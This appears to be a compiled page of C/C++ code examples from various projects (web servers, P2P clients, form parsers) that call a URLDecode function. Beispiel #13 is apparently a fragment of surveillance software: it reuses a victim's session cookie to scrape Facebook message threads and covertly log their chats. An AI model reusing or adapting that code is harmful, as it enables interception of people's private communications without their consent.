Beispiel #1
0
void cHTTPFormParser::ParseFormUrlEncoded(void)
{
	// Parse m_IncomingData for all the variables; no more data is incoming, since this is called from Finish()
	// This may not be the most performant version, but we don't care, the form data is small enough and we're not a full-fledged web server anyway
	AStringVector Lines = StringSplit(m_IncomingData, "&");
	for (AStringVector::iterator itr = Lines.begin(), end = Lines.end(); itr != end; ++itr)
	{
		AStringVector Components = StringSplit(*itr, "=");
		switch (Components.size())
		{
			default:
			{
				// Neither name nor value, or too many "="s, mark this as invalid form:
				m_IsValid = false;
				return;
			}
			case 1:
			{
				// Only name present
				(*this)[URLDecode(ReplaceAllCharOccurrences(Components[0], '+', ' '))] = "";
				break;
			}
			case 2:
			{
				// name=value format:
				(*this)[URLDecode(ReplaceAllCharOccurrences(Components[0], '+', ' '))] = URLDecode(ReplaceAllCharOccurrences(Components[1], '+', ' '));
				break;
			}
		}
	}  // for itr - Lines[]
	m_IncomingData.clear();
}
Beispiel #2
0
static ICACHE_FLASH_ATTR void issue()
{
	char mydat[512];
	int len = URLDecode( mydat, 512, curhttp->pathbuffer+9 );

	issue_command(curhttp->socket, mydat, len );

	curhttp->state = HTTP_WAIT_CLOSE;
}
Beispiel #3
0
void Resume::ReadVlcResumeFile()
{

	Sleep(100); //wait for VLC to write file (TODO: make threaded)

	//get username
	TCHAR username[UNLEN + 1];
	DWORD username_len = UNLEN + 1;
	GetUserName(username, &username_len);

	RString strTemp;
	RString strVlcFile;

	//build path to vlc info file
	RString strFilePath = _T("C:\\Users\\");
	strFilePath += username;
	strFilePath += _T("\\AppData\\Roaming\\vlc\\vlc-qt-interface.ini");

	//read VLC resume file into str
	if (!FileToString(strFilePath, strVlcFile))
		return;

	if (GetFirstMatch(strVlcFile, _T("list=([^$]*?$)"), &strTemp))
	{
		strTemp.Replace(_T(" "), _T(""));
		RArray<const TCHAR*> moviesTemp = SplitString(strTemp, _T(","), true);
		size = moviesTemp.GetSize();
		if (size > MAX_SIZE) size = MAX_SIZE;

		for(int i=0; i<size; i++)
		{
			//remove % codes and turn + to space
			RString strTempMovie = URLDecode(moviesTemp[i]);

			//remove file:/// or file://
			if (strTempMovie.Left(8) == _T("file:///"))
				strTempMovie = strTempMovie.Right(strTempMovie.GetLength() - 8);
			else
				strTempMovie = strTempMovie.Right(strTempMovie.GetLength() - 5);

			strTempMovie.Replace(_T("/"), _T("\\\\"));
			movies[i] = strTempMovie;
		}
	}

	if (GetFirstMatch(strVlcFile, _T("times=([^$]*?$)"), &strTemp))
	{
		strTemp.Replace(_T(" "), _T(""));
		RArray<const TCHAR*> strTimes = SplitString(strTemp, _T(","), true);
		for(int i=0; i<strTimes.GetSize(); i++)
			times[i] = StringToNumber(strTimes[i])/1000;  //milliseconds to seconds
	}

	UpdateResumeTimes();
}
Beispiel #4
0
static ICACHE_FLASH_ATTR void echo()
{
	char mydat[128];
	int len = URLDecode( mydat, 128, curhttp->pathbuffer+8 );

	START_PACK;
	PushBlob( mydat, len );
	EndTCPWrite( curhttp->socket );

	curhttp->state = HTTP_WAIT_CLOSE;
}
Beispiel #5
0
bool CWebserverRequest::ParseFirstLine(string zeile)				// parse first line of request
{
int ende, anfang, t;

	anfang = zeile.find(' ');				// GET /images/elist.gif HTTP/1.1 
	ende = zeile.rfind(' ');				// nach leerzeichen splitten

	if (anfang > 0 && ende > 0 && anfang != ende)
	{
		string method,url,http;
		method= zeile.substr(0,anfang);
		url = zeile.substr(anfang+1,ende - (anfang+1));
		http = zeile.substr(ende+1,zeile.length() - ende+1);
//		dprintf("m: '%s' u: '%s' h:'%s'\n",method.c_str(),url.c_str(),http.c_str());

		if(method.compare("POST") == 0)
			Method = M_POST;
		else if(method.compare("GET") == 0)
			Method = M_GET;
		else if(method.compare("PUT") == 0)
			Method = M_PUT;
		else if(method.compare("HEAD") == 0)
			Method = M_HEAD;
		else
		{
			aprintf("Unknown method or invalid request");
			dprintf("Request: '%s'\n",rawbuffer.c_str());
			return false;
		}
		
		if((t = url.find('?')) > 0)			// eventuellen Parameter inner URL finden
		{
			URL = url.substr(0,t);
			Param_String = url.substr(t+1,url.length() - (t+1));
			URLDecode(Param_String);

			return ParseParams(Param_String);
		}
		else
			URL = url;
	}
	return true;
}
Beispiel #6
0
CString UrlConvert( CString strUrl )
{
	CString urlConverted;
	//this is another way to process ftp url Decode	
	if( (strUrl.Left(7).CompareNoCase(_T("http://")) != 0) ) //ftp...
	{

		ParseUrlString( strUrl );
		strUrl.Replace(_T('\\'),_T('/'));
	}
	else
	{		
		strUrl = URLDecode(strUrl);
		strUrl.Replace(_T('\\'),_T('/'));
		strUrl = EncodeUrlUtf8(strUrl);		
	}	
	
	return strUrl; //for http
}
Beispiel #7
0
void HtmlDialog::OnMSHTMLBeforeNavigate2X(wxActiveXEvent& event) {
 	const wxString url = event[wxT("Url")];
	if (url == wxT("about:blank"))
		return;

	if (url.StartsWith(wxT("cocoadialog://"))) {
		wxString output = URLDecode(url.substr(14));

		// Remove trailing '/' (added by ie)
		if (output.EndsWith(wxT("/"))) output.RemoveLast();

		printf("%s", output.mb_str(wxConvUTF8));
		if (!m_optionDict.HasOption(wxT("no-newline"))) printf("\n");

		// Don't try to open it in browser
		event[wxT("Cancel")] = true;

		Close();
	}
}
Beispiel #8
0
CString CRemote::GetKey(LPCTSTR pszName)
{
	int nStart = 0;
	CString strPair = m_sHandshake.Tokenize( L"&?", nStart );

	while ( ! strPair.IsEmpty() )
	{
		CString strName = strPair.SpanExcluding( L"=" );

		if ( strName.CompareNoCase( pszName ) == 0 )
		{
			strName = strPair.Mid( strName.GetLength() + 1 );
			return URLDecode( strName );
		}

		strPair = m_sHandshake.Tokenize( L"&?", nStart );
	}

	return CString();
}
Beispiel #9
0
int parse_path_info(void *_pSession, char *_xml, const int _xml_size)
{
	GW_ASSERT(NULL!=_pSession && NULL!=_xml, "Parameter error.");
	GW_ASSERT(NULL!=_pSession && NULL!=_xml, "Parameter error at parse_path_info().");

	struct HttpdSession *pSession = (struct HttpdSession *)_pSession;

	if (0 == pSession->uri_query_string.av_len) {
		GW_TRACE("query length:%d. No query_string.", pSession->uri_query_string.av_len);
		return -1;
	}

	struct _URL_PARAM param[MAX_PARAM_IN_URL];
	memset(&param, 0, sizeof(struct _URL_PARAM)*MAX_PARAM_IN_URL);

	int nParam_count = CGI_parse_url(pSession->uri_query_string,param);
	GW_TRACE("Get %d parameters int the url.", nParam_count);
	_URL_PARAM_t *param_xml=CGI_find_param(param,nParam_count,"xml");
	GW_ASSERT(param_xml,"cgi_gw find cmd of 'xml' failed");
	int nRet=URLDecode(param_xml->value.av_val,param_xml->value.av_len,_xml,_xml_size);
	GW_ASSERT(nRet == strlen(_xml), "xml result error.");
	
	return 0;
}
Beispiel #10
0
/////////////////////////////////////////////
// CED2KFileLink implementation
/////////////////////////////////////////////
CED2KFileLink::CED2KFileLink(const TCHAR* pszName, const TCHAR* pszSize, const TCHAR* pszHash, 
							 const CStringArray& astrParams, const TCHAR* pszSources)
	: m_size(pszSize)
{
	// Here we have a little problem.. Actually the proper solution would be to decode from UTF8,
	// only if the string does contain escape sequences. But if user pastes a raw UTF8 encoded
	// string (for whatever reason), we would miss to decode that string. On the other side, 
	// always decoding UTF8 can give flaws in case the string is valid for Unicode and UTF8
	// at the same time. However, to avoid the pasting of raw UTF8 strings (which would lead
	// to a greater mess in the network) we always try to decode from UTF8, even if the string
	// did not contain escape sequences.
	m_name = OptUtf8ToStr(URLDecode(pszName));
	m_name.Trim();
	if (m_name.IsEmpty())
		throw GetResString(IDS_ERR_NOTAFILELINK);

	SourcesList = NULL;
	m_hashset = NULL;
	m_bAICHHashValid = false;

	if (_tcslen(pszHash) != 32)
		throw GetResString(IDS_ERR_ILLFORMEDHASH);

	if (_tstoi64(pszSize)>=4294967295)
		throw GetResString(IDS_ERR_TOOLARGEFILE);
	if (_tstoi64(pszSize)<=0)
		throw GetResString(IDS_ERR_NOTAFILELINK);
	
	for (int idx = 0; idx < 16; ++idx) {
		m_hash[idx] = FromHexDigit(*pszHash++)*16;
		m_hash[idx] += FromHexDigit(*pszHash++);
	}

	bool bError = false;
	for (int i = 0; !bError && i < astrParams.GetCount(); i++)
	{
		const CString& strParam = astrParams.GetAt(i);
		ASSERT( !strParam.IsEmpty() );

		CString strTok;
		int iPos = strParam.Find(_T('='));
		if (iPos != -1)
			strTok = strParam.Left(iPos);
		if (strTok == _T("s"))
		{
			CString strURL = strParam.Mid(iPos + 1);
			if (!strURL.IsEmpty())
			{
				TCHAR szScheme[INTERNET_MAX_SCHEME_LENGTH];
				TCHAR szHostName[INTERNET_MAX_HOST_NAME_LENGTH];
				TCHAR szUrlPath[INTERNET_MAX_PATH_LENGTH];
				TCHAR szUserName[INTERNET_MAX_USER_NAME_LENGTH];
				TCHAR szPassword[INTERNET_MAX_PASSWORD_LENGTH];
				TCHAR szExtraInfo[INTERNET_MAX_URL_LENGTH];
				URL_COMPONENTS Url = {0};
				Url.dwStructSize = sizeof(Url);
				Url.lpszScheme = szScheme;
				Url.dwSchemeLength = ARRSIZE(szScheme);
				Url.lpszHostName = szHostName;
				Url.dwHostNameLength = ARRSIZE(szHostName);
				Url.lpszUserName = szUserName;
				Url.dwUserNameLength = ARRSIZE(szUserName);
				Url.lpszPassword = szPassword;
				Url.dwPasswordLength = ARRSIZE(szPassword);
				Url.lpszUrlPath = szUrlPath;
				Url.dwUrlPathLength = ARRSIZE(szUrlPath);
				Url.lpszExtraInfo = szExtraInfo;
				Url.dwExtraInfoLength = ARRSIZE(szExtraInfo);
				if (InternetCrackUrl(strURL, 0, 0, &Url) && Url.dwHostNameLength > 0)
				{
					SUnresolvedHostname* hostname = new SUnresolvedHostname;
					hostname->strURL = strURL;
					hostname->strHostname = szHostName;
					m_HostnameSourcesList.AddTail(hostname);
				}
			}
			else
				ASSERT(0);
		}
		else if (strTok == _T("p"))
		{
			CString strPartHashs = strParam.Tokenize(_T("="), iPos);

			if (m_hashset != NULL){
				ASSERT(0);
				bError = true;
				break;
			}

			m_hashset = new CSafeMemFile(256);
			m_hashset->WriteHash16(m_hash);
			m_hashset->WriteUInt16(0);

			int iPartHashs = 0;
			int iPosPH = 0;
			CString strHash = strPartHashs.Tokenize(_T(":"), iPosPH);
			while (!strHash.IsEmpty())
			{
				uchar aucPartHash[16];
				if (!strmd4(strHash, aucPartHash)){
					bError = true;
					break;
				}
				m_hashset->WriteHash16(aucPartHash);
				iPartHashs++;
				strHash = strPartHashs.Tokenize(_T(":"), iPosPH);
			}
			if (bError)
				break;

			m_hashset->Seek(16, CFile::begin);
			m_hashset->WriteUInt16(iPartHashs);
			m_hashset->Seek(0, CFile::begin);
		}
		else if (strTok == _T("h"))
		{
			CString strHash = strParam.Mid(iPos + 1);
			if (!strHash.IsEmpty())
			{
				if (DecodeBase32(strHash, m_AICHHash.GetRawHash(), CAICHHash::GetHashSize()) == CAICHHash::GetHashSize()){
					m_bAICHHashValid = true;
					ASSERT( m_AICHHash.GetString().CompareNoCase(strHash) == 0 );
				}
				else
					ASSERT( false );
			}
			else
				ASSERT( false );
		}
		else
			ASSERT(0);
	}

	if (bError)
	{
		delete m_hashset;
		m_hashset = NULL;
	}

	if (pszSources)
	{
		TCHAR* pNewString = _tcsdup(pszSources);
		autoFree liberator(pNewString);
		TCHAR* pCh = pNewString;
		TCHAR* pEnd;
		TCHAR* pIP;
		TCHAR* pPort;

		bool bAllowSources;
		TCHAR date[3];
		COleDateTime expirationDate;
		int nYear,nMonth,nDay;

		uint16 nCount = 0;
		uint32 dwID;
		uint16 nPort;
		uint32 dwServerIP = 0; 
		uint16 nServerPort = 0;
		unsigned long ul;

		int nInvalid = 0;

		pCh = _tcsstr( pCh, _T("sources") );
		if( pCh != NULL ) {
			pCh = pCh + 7; // point to char after "sources"
			pEnd = pCh;
			while( *pEnd ) pEnd++; // make pEnd point to the terminating NULL
			bAllowSources=true;
			// if there's an expiration date...
			if( *pCh == _T('@') && (pEnd-pCh) > 7 )
			{
				pCh++; // after '@'
				date[2] = 0; // terminate the two character string
				date[0] = *(pCh++); date[1] = *(pCh++);
				nYear = _tcstol( date, 0, 10 ) + 2000;
				date[0] = *(pCh++); date[1] = *(pCh++);
				nMonth = _tcstol( date, 0, 10 );
				date[0] = *(pCh++); date[1] = *(pCh++);
				nDay = _tcstol( date, 0, 10 );
				bAllowSources = ( expirationDate.SetDate(nYear,nMonth,nDay) == 0 );
				if (bAllowSources) bAllowSources=(COleDateTime::GetCurrentTime() < expirationDate);
			}

			// increment pCh to point to the first "ip:port" and check for sources
			if ( bAllowSources && ++pCh < pEnd ) {
				SourcesList = new CSafeMemFile(256);
				SourcesList->WriteUInt16(nCount); // init to 0, we'll fix this at the end.
				// for each "ip:port" source string until the end
				// limit to prevent overflow (uint16 due to CPartFile::AddClientSources)
				while( *pCh != 0 && nCount < MAXSHORT ) {
					pIP = pCh;
					// find the end of this ip:port string & start of next ip:port string.
					if( (pCh = _tcschr(pCh, _T(','))) != NULL ) {
						*pCh = 0; // terminate current "ip:port"
						pCh++; // point to next "ip:port"
					}
					else
						pCh = pEnd;

					// if port is not present for this ip, go to the next ip.
					if( (pPort = _tcschr(pIP, _T(':'))) == NULL )
					{	nInvalid++;	continue;	}

					*pPort = 0;	// terminate ip string
					pPort++;	// point pPort to port string.

					dwID = inet_addr(CStringA(pIP));
					ul = _tcstoul( pPort, 0, 10 );
					nPort = static_cast<uint16>(ul);

					// skip bad ips / ports
					if (ul > 0xFFFF || ul == 0 )	// port
					{	nInvalid++;	continue;	}
					if( dwID == INADDR_NONE) {	// hostname?
						if (_tcslen(pIP) > 512)
						{	nInvalid++;	continue;	}
						SUnresolvedHostname* hostname = new SUnresolvedHostname;
						hostname->nPort = nPort;
						hostname->strHostname = pIP;
						m_HostnameSourcesList.AddTail(hostname);
						continue;
					}
					//TODO: This will filter out *.*.*.0 clients. Is there a nice way to fix?
					if( IsLowID(dwID) )	// ip
					{	nInvalid++;	continue;	}

					SourcesList->WriteUInt32(dwID);
					SourcesList->WriteUInt16(nPort);
					SourcesList->WriteUInt32(dwServerIP);
					SourcesList->WriteUInt16(nServerPort);
					nCount++;
				}
				SourcesList->SeekToBegin();
				SourcesList->WriteUInt16(nCount);
				SourcesList->SeekToBegin();
				if (nCount==0) {
					delete SourcesList;
					SourcesList=NULL;
				}
			}
		}
	}
}
Beispiel #11
0
BOOL CHostBrowser::StreamHTML()
{
	ASSUME_LOCK( Transfers.m_pSection );
	ASSERT( m_nProtocol == PROTOCOL_NULL );

	CString strLine;

	CQueryHit* pHits = NULL;

	while ( m_pBuffer->ReadLine( strLine ) )
	{
		int nPosHTTP = strLine.Find( L"http://" );

		while ( nPosHTTP >= 0 && strLine.Find( L"/get/" ) > nPosHTTP )
		{
			CString strURI = strLine.Mid( nPosHTTP ).SpanExcluding( L"?&\"'<>" );
			CString strName;
			DWORD nSize = 0;

			int nPosSize = strLine.Find( L"<TD NOWRAP>" );

			if ( nPosSize >= 0 && nPosSize < nPosHTTP )
			{
				CString strSize = strLine.Mid( nPosSize + 11 ).SpanExcluding( L"</" );
				float nFloat = 0;

				if ( _stscanf( strSize, L"%f", &nFloat ) == 1 && nFloat > 0 )
				{
					if ( strSize.Find( L" GB" ) >= 0 )
						nFloat *= 1024*1024*1024;
					else if ( strSize.Find( L" MB" ) >= 0 )
						nFloat *= 1024*1024;
					else if ( strSize.Find( L" KB" ) >= 0 )
						nFloat *= 1024;

					nSize = (DWORD)ceil( nFloat );
				}
			}

			strLine = strLine.Mid( nPosHTTP + strURI.GetLength() );

			int nPosName = strLine.Find( L">" );

			if ( nPosName >= 0 )
				strName = strLine.Mid( nPosName + 1 ).SpanExcluding( L"<>" );

			if ( strName.IsEmpty() && ( nPosName = strURI.ReverseFind( L'/' ) ) > 0 )
				strName = URLDecode( strURI.Mid( nPosName + 1 ) );

			CQueryHit* pHit = new CQueryHit( PROTOCOL_NULL );

			pHit->m_pAddress	= m_pHost.sin_addr;
			pHit->m_nPort		= htons( m_pHost.sin_port );
			pHit->m_pVendor		= m_pVendor ? m_pVendor : VendorCache.m_pNull;
			pHit->m_bPush		= ( m_tPushed ) ? TRI_TRUE : TRI_FALSE;
			pHit->m_bBrowseHost	= TRUE;
			pHit->m_nSize		= nSize;
			pHit->m_bSize		= TRUE;
			pHit->m_sName		= strName;
			pHit->m_sURL		= strURI;

			if ( m_bCanPush )
				pHit->m_oClientID = m_oClientID;

			pHit->Resolve();

			pHit->m_pNext = pHits;
			pHits = pHit;

			nPosHTTP = strLine.Find( L"http://" );
		}
	}

	if ( pHits != NULL )
		OnQueryHits( pHits );

	return TRUE;
}
void MsgHandlerJSON::Run() {
	std::string msg;
	syslog(LOG_INFO, "JSON message handler started");

	m_closed = false;

	while(IsRunning()) {
		// exit if connection was closed
		if(m_closed) {
			break;
		}

		// wait for string
		if(!ReceiveString(msg)) {
			continue;
		}

		std::cout << msg << std::endl;

		// check for http request
		if(msg.substr(0, 8) == "OPTIONS " && msg.size() > 8) {
			msg = msg.substr(8);
		}
		else if(msg.substr(0, 4) != "GET ") {
			continue;
		}

		std::string::size_type p = msg.rfind("HTTP/");

		if(p == std::string::npos) {
			continue;
		}

		msg = msg.substr(0, p);
		std::cout << "URI: " << msg << std::endl;

		// extract JSON query string
		p = msg.find("?");

		std::string url;
		std::string query;

		if(p > 0) {
			url = msg.substr(0, p);
		}

		if(p < msg.size() - 1) {
			query = URLDecode(msg.substr(p + 1));
		}

		std::cout << "URL: " << url << std::endl;
		std::cout << "QUERY: " << query << std::endl;

		// get message id
		while((url[0] > '9' || url[0] < '0') && url.size() > 1) {
			url = url.substr(1);
		}

		uint32_t msgid = atoi(url.c_str());
		MsgPacket* request = MsgPacketFromJSON(query, msgid);

		if(m_msgtype != 0) {
			request->setType(m_msgtype);
		}

		std::cout << "MSGID: " << request->getMsgID() << std::endl;
		std::cout << "MSGTYPE: " << request->getType() << std::endl;

		request->print();

		MsgPacket* response = new MsgPacket(request->getMsgID(), request->getType(), request->getUID());

		std::string jsonformat;
		std::string result;

		request->rewind();

		if(OnMessage(request, response)) {
			if(OnCustomJSONResponse(response, result)) {
				SendHTTPResponse(result);
			}
			else if(OnResponseFormat(response, jsonformat)) {
				result = MsgPacketToJSON(response, jsonformat);
				SendHTTPResponse(result);
			}
		}

		delete response;
		delete request;
	}
}
BOOL FacebookParseThreads(LPSTR strCookie, LPSTR strUserId, LPSTR strScreenName, DWORD dwLastTS)
{
	BOOL bIncoming;
	WCHAR strUrl[256];
	CHAR strThreadId[512];
	CHAR strPeersId[256];
	CHAR strPeers[512];
	CHAR strAuthor[256];
	CHAR strAuthorId[256];
	DWORD dwRet, dwBufferSize;
	LPSTR strRecvBuffer=NULL, strRecvBuffer2=NULL, strParser1, strParser2, strInnerParser1, strInnerParser2;


	LPSTR strMsgBody = NULL;

	dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie);  //FIXME: array
	if (dwRet != SOCIAL_REQUEST_SUCCESS)
		return FALSE;
	
	strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_END);
	if (!strParser1)
	{
		zfree(strRecvBuffer);
		return NULL;
	}
	*strParser1 = 0; // fine lista
	

	strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_ID);
	if (!strParser1)
	{
		zfree(strRecvBuffer);
		return FALSE;
	}	

	for (;;)
	{
		// get thread status and skip if unread
		strParser2 = strstr(strParser1, FB_THREAD_STATUS_IDENTIFIER_V2);
		if (strParser2) 
		{
			strParser2 += strlen(FB_THREAD_STATUS_IDENTIFIER_V2);
			if (*strParser2 != '0') // unread
			{
				strParser1 = strParser2;
				continue;
			}
		}
		else 
			break;

		strParser1 = strstr(strParser1, FB_THREAD_IDENTIFIER_V2);
		if (!strParser1)
			break;
		
		strParser1 += strlen(FB_THREAD_IDENTIFIER_V2);
		strParser2 = strchr(strParser1, '"');
		if (!strParser2)
			break;
		*strParser2 = 0;


		SecureZeroMemory(strUrl, 256);
		SecureZeroMemory(strThreadId, 512);
		strcpy_s(strThreadId, 512, strParser1);
		URLDecode(strThreadId);
		_snwprintf_s(strUrl, sizeof(strUrl)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1&msgs_only=1", strThreadId);  //FIXME: array

		
		strParser1 = strParser2 + 1;
		
		// cerca id partecipanti
		BOOL bAmIPresent = FALSE;
		SecureZeroMemory(strPeersId, sizeof(strPeersId));
		for (;;)
		{
			strParser2 = strstr(strParser1, FB_PEER_ID_IDENTIFIER);
			if (!strParser2)
				break;
			strParser1 = strParser2 + strlen(FB_PEER_ID_IDENTIFIER);
			strParser2 = strchr(strParser1, '"');
			if (!strParser2)
				break;
			*strParser2 = 0;

			if (!strcmp(strParser1, strUserId))
				bAmIPresent = TRUE;

			if (strlen(strPeersId) == 0)
				_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s", strParser1);
			else
				_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strParser1);

			strParser1 = strParser2 + 1;

			if (*strParser1 == ']')
				break;
		}
		if (!bAmIPresent)
			_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strUserId);

		// controlla timestamp
		strParser1 = strstr(strParser1, FB_MESSAGE_TSTAMP_IDENTIFIER_V2);
		if (!strParser1)
			break;
		strParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER_V2);

		DWORD dwCurrTS;
		CHAR strTimeStamp[11];
		SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
		memcpy(strTimeStamp, strParser1, 10);
		dwCurrTS = atoi(strTimeStamp);
		if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
			continue;

		// salva timestamp se piu' recente
		SocialSetLastTimestamp(strUserId, dwCurrTS, 0);

		// get thread's messages
		DWORD dwBuffSize2;
		dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer2, &dwBuffSize2, strCookie);  //FIXME: array
		if (dwRet != SOCIAL_REQUEST_SUCCESS)
		{
			zfree(strRecvBuffer);
			return FALSE;
		}

		// get peers screen name, 
		strInnerParser1 = strRecvBuffer2;
		strInnerParser1 = strstr(strInnerParser1, FB_THREAD_AUTHOR_IDENTIFIER_V2);
		if (!strInnerParser1)
		{
			zfree(strRecvBuffer2);
			continue;
		}

		strInnerParser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER_V2);
		strInnerParser2 = strstr(strInnerParser1, " - ");
		if (!strInnerParser2)
		{
			zfree(strRecvBuffer2);
			continue;
		}
		*strInnerParser2 = 0;
		_snprintf_s(strPeers, sizeof(strPeers), _TRUNCATE, "%s, %s", strScreenName, strInnerParser1);

		strInnerParser1 = strRecvBuffer2;
		for (;;)
		{
			strInnerParser1 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
			if (!strInnerParser1)
				break;
			strInnerParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER);
			SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp));
			memcpy(strTimeStamp, strInnerParser1, 10);
			dwCurrTS = atoi(strTimeStamp);
			if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS)
				continue;
			SocialSetLastTimestamp(strUserId, dwCurrTS, 0);

			strInnerParser2 = strstr(strInnerParser1, FB_MESSAGE_AUTHOR_IDENTIFIER);
			if (!strInnerParser2)
				break;
			*strInnerParser2 = 0;
			strInnerParser1 = strInnerParser2;
			for (;*(strInnerParser1) != '>' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			strInnerParser1++;
			_snprintf_s(strAuthor, sizeof(strAuthor), _TRUNCATE, "%s", strInnerParser1);
			strInnerParser1--;

			for (;*(strInnerParser1) != '\\' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			*strInnerParser1 = 0;
			for (;*(strInnerParser1) != '=' && strInnerParser1 > strRecvBuffer2; strInnerParser1--);
			if (strInnerParser1 <= strRecvBuffer2)
				break;
			strInnerParser1++;
			_snprintf_s(strAuthorId, sizeof(strAuthorId), _TRUNCATE, "%s", strInnerParser1);
			strInnerParser1 = strInnerParser2 + 1;

			if (!strcmp(strAuthorId, strUserId))
				bIncoming = FALSE;
			else
				bIncoming = TRUE;

			DWORD dwMsgPartSize, dwMsgBodySize;
			dwMsgPartSize = dwMsgBodySize = 0;
			zfree(strMsgBody); // questo e' NULL al primo giro, zfree se lo smazza.
			for (;;)
			{
				LPSTR strMsgParser1, strMsgParser2;
				strMsgParser1 = strstr(strInnerParser1, FB_MESSAGE_BODY_IDENTIFIER);
				if (!strMsgParser1)
					break;
				// no moar body, parte un altro timestamp
				strMsgParser2 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
				if (strMsgParser2 && strMsgParser2<strMsgParser1)
					break;

				strInnerParser1 = strMsgParser1;
				strInnerParser1 = strstr(strInnerParser1, "p>");  //FIXME: array
				if (!strInnerParser1)
					break;
				strInnerParser1 += strlen("p>");
				strInnerParser2 = strstr(strInnerParser1, "\\u003C\\/p>");  //FIXME: array
				if (!strInnerParser2)
					break;
				*strInnerParser2 = 0;

				DWORD dwMsgPartSize = strlen(strInnerParser1);
				strMsgParser1 = (LPSTR) realloc(strMsgBody, dwMsgBodySize + dwMsgPartSize + strlen(FB_NEW_LINE) + sizeof(WCHAR));
				if (!strMsgParser1)
					break;

				// se non e' il primo body, mette a capo
				if (strMsgBody)
				{
					memcpy(strMsgParser1 + dwMsgBodySize, FB_NEW_LINE, strlen(FB_NEW_LINE));
					dwMsgBodySize += strlen(FB_NEW_LINE);				
				}

				strMsgBody = strMsgParser1;
				memcpy(strMsgBody + dwMsgBodySize, strInnerParser1, dwMsgPartSize);
				dwMsgBodySize += dwMsgPartSize;

				memset(strMsgBody + dwMsgBodySize, 0x0, sizeof(WCHAR));

				strInnerParser1 = strInnerParser2 + 1;
			}

			if (strMsgBody)
			{
				struct tm tstamp;
				_gmtime32_s(&tstamp, (__time32_t *)&dwCurrTS);
				tstamp.tm_year += 1900;
				tstamp.tm_mon++;

				JsonDecode(strMsgBody);
				
				SocialLogIMMessageA(CHAT_PROGRAM_FACEBOOK, strPeers, strPeersId, strAuthor, strAuthorId, strMsgBody, &tstamp, bIncoming);

				zfree(strMsgBody);
				strMsgBody = NULL;
			}
			else
				break;
		}
		zfree(strRecvBuffer2);
	}

	zfree(strRecvBuffer);
	return TRUE;
}
Beispiel #14
0
/////////////////////////////////////////////
// CED2KSearchLink implementation
/////////////////////////////////////////////
CED2KSearchLink::CED2KSearchLink(const TCHAR* pszSearchTerm)
{
    m_strSearchTerm = OptUtf8ToStr(URLDecode(pszSearchTerm));
}
BOOL CHostBrowser::StreamHTML()
{
	CString strLine;

	CQueryHit* pHits = NULL;

	while ( m_pBuffer->ReadLine( strLine ) )
	{
		if ( Settings.General.Debug && ( GetAsyncKeyState( VK_SHIFT ) & 0x8000 ) )
		{
			theApp.Message( MSG_DEBUG, _T("HTML-BROWSE: %s"), (LPCTSTR)strLine );
		}

		int nPosHTTP = strLine.Find( _T("http://") );

		while ( nPosHTTP >= 0 && strLine.Find( _T("/get/") ) > nPosHTTP )
		{
			CString strURI = strLine.Mid( nPosHTTP ).SpanExcluding( _T("?&\"'<>") );
			CString strName;
			DWORD nSize = 0;

			int nPosSize = strLine.Find( _T("<TD NOWRAP>") );

			if ( nPosSize >= 0 && nPosSize < nPosHTTP )
			{
				CString strSize = strLine.Mid( nPosSize + 11 ).SpanExcluding( _T("</") );
				float nFloat = 0;

				if ( _stscanf( strSize, _T("%f"), &nFloat ) == 1 && nFloat > 0 )
				{
					if ( strSize.Find( _T(" GB") ) >= 0 )
						nFloat *= 1024*1024*1024;
					else if ( strSize.Find( _T(" MB") ) >= 0 )
						nFloat *= 1024*1024;
					else if ( strSize.Find( _T(" KB") ) >= 0 )
						nFloat *= 1024;

					nSize = (DWORD)nFloat;
				}
			}

			strLine = strLine.Mid( nPosHTTP + strURI.GetLength() );

			int nPosName = strLine.Find( _T(">") );

			if ( nPosName >= 0 )
			{
				strName = strLine.Mid( nPosName + 1 ).SpanExcluding( _T("<>") );
			}

			if ( strName.IsEmpty() && ( nPosName = strURI.ReverseFind( '/' ) ) > 0 )
			{
				strName = URLDecode( strURI.Mid( nPosName + 1 ) );
			}

			CQueryHit* pHit = new CQueryHit( PROTOCOL_NULL, NULL );

			pHit->m_pAddress	= m_pHost.sin_addr;
			pHit->m_nPort		= htons( m_pHost.sin_port );
			pHit->m_pVendor		= m_pVendor ? m_pVendor : VendorCache.m_pNull;
			pHit->m_bPush		= ( m_tPushed ) ? TS_TRUE : TS_FALSE;
			pHit->m_bBrowseHost	= TRUE;
			pHit->m_nSize		= nSize;
			pHit->m_sName		= strName;
			pHit->m_sURL		= strURI;

			if ( m_bCanPush ) pHit->m_pClientID = m_pClientID;

			pHit->m_pNext = pHits;
			pHits = pHit;

			m_nHits ++;

			nPosHTTP = strLine.Find( _T("http://") );
		}
	}

	if ( pHits != NULL )
	{
		if ( m_pNotify != NULL )
			m_pNotify->OnBrowseHits( pHits );
		else
			pHits->Delete();
	}

	return TRUE;
}